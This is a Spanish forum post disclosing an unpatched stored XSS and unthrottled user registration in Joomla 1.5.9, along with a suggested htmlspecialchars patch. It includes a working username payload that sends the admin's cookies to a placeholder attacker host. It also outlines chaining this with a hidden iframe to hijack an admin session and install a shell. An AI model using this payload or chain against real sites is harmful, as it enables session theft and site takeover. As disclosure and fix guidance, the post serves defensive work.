Múltiples fallas en Joomla 1.5.9 + PoC [Instalacion de una shell]
https://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159_poc_instalacion_de_una_shell-t244742.0.html
Creación insegura de usuarios
Si se han fijado, la sección de creación de usuarios en joomla no contiene ningún sistema de proteción contra la automatización como por ejemplo una captcha o algún sistema audiovisual que por lo menos le haga la vida un poco mas dificil al atacante. Con esto podemos crear usuarios sin la necesidad de pedirle permiso a nadie ni de utilizar el mismo explorador.
Tampoco te limita la cantidad de usuarios creados por ip asi que no puede ser mas fácil crear remotamente un usuario desde un script en perl o cpp.
Una generación de usuarios en masa podría causar la inestabilidad del sistema.
el uso de esta vulnerabilidad puede ser aprobechada por la siguiente:
Vulnerabilidad de tipo XSS en el componente "User" del panel de Administración
Vamos a este enlace:
http://127.0.0.1/joomla/index.php?option=com_user&task=register
Obiamente reemplazando localhost por el servidor a auditar mas la ruta.
En nombre de usuario le podemos insertar código HTML pero hay un pequeño filtro que impide insertar carácteres como "<" pero nada mas, asi que podríamos insertar muy fácilmente una comilla doble para escapar del input y comenzar a insertar el código html.
Ejemplo:
nombre" onclick="document.location='http://www.atacante.com/?cookies.php?cookies='+document.cookie" x="
No pude poner un onload() porque el explorador solamente lo interpreta desde <body> y no desde <input>, de ahi ya viene la imaginación de cada uno.. se ponen un nick super feo y le dicen al admin que si puede cambiarlo por ti y ya con eso cuando le haga click se estará ejecutando el xss con su sesión logueada y el script que recepcionaría la cookie tendría la misma instrucción que el post anterior donde se demostraba la instalación remota de una shell como si fuera módulo:
https://foro.elhacker.net/nivel_web/multiples_fallas_en_joomla_159_poc_instalacion_de_una_shell-t244742.0.html;msg1201898#msg1201898
VIDEO
Ahora esta vulnerabilidad también se puede aprovechar con la vulnerabilidad anterior de la creación arbitraria de usuarios haciendo que cuando el atacado vea un sitio web con un iframe de 1 x 1 pixel se redireccione al script en php donde hará la creación del usuario arbitrariamente con el nombre de usuario con código html y posteriormente procederá a la redireccion para su ejecución y posterior instalación de la shell.
esto lo encontré en el archivo:
/administrator/components/com_users/views/user/tmpl/form.php
pero me puse a buscar criterios y pude ver que eran bastantes mas.
Quieren ver a cuantos archivos le afecta esto?:
A 10 archivos en mas de 40 ocasiones incluyendo el theme beez de las abejas.
Esto podría extenderse a todos los themes que se han hechos para joomla y obiamente no pueden repararse todos al 100% asi que la solución mas viable sería devolver los datos ya filtrados en htmlspecialchars aunque eto interrumpiría en algunas funciones personalizadas ya que el valor dejaría de ser fiel al que está en la base de datos.
Hasta ahora no lo he publicando en ningún lado asi que obiamente no está parchado pero pueden hacerlo ustedes mismos y buscar donde diga:
<?php echo $this->user->get('lo_que_sea') ...
lo reemplazan por:
<?php echo htmlspecialchars($this->user->get('lo_que_sea'), ENT_QUOTES) ...
En mi caso aprobeché de optimizar un poco el código agregando cada input a mostrar dentro de un array y no escribir uno por uno como lo hace joomla ahorrando la carga del texto en memoria aunque esto igual sería reemplazado pro el proceso en php pero a la ves se ve mas limpio y modificable:
Código
<form action="index.php" method="post" name="adminForm" autocomplete="off"> <div class="col width-45"> <fieldset class="adminform"> <legend><?php echo JText::_( 'User Details' ); ?></legend> <table class="admintable" cellspacing="1"> <?php /* Modificaciones */ foreach($datos_input as $fila){ echo ' <td><input size="40" type="text" name="'.htmlspecialchars($fila['id'], ENT_QUOTES).'" value="'.htmlspecialchars($this->user->get($fila['id']), ENT_QUOTES).'" /></td> </tr> '; } ?>
antes del input del password.
PD: esto fue una modificación que tube que hacer para un trabajo pero obiamente ustedes también pueden adaptarlo o cuear un mod totalmente nuevo para que la gente se registre.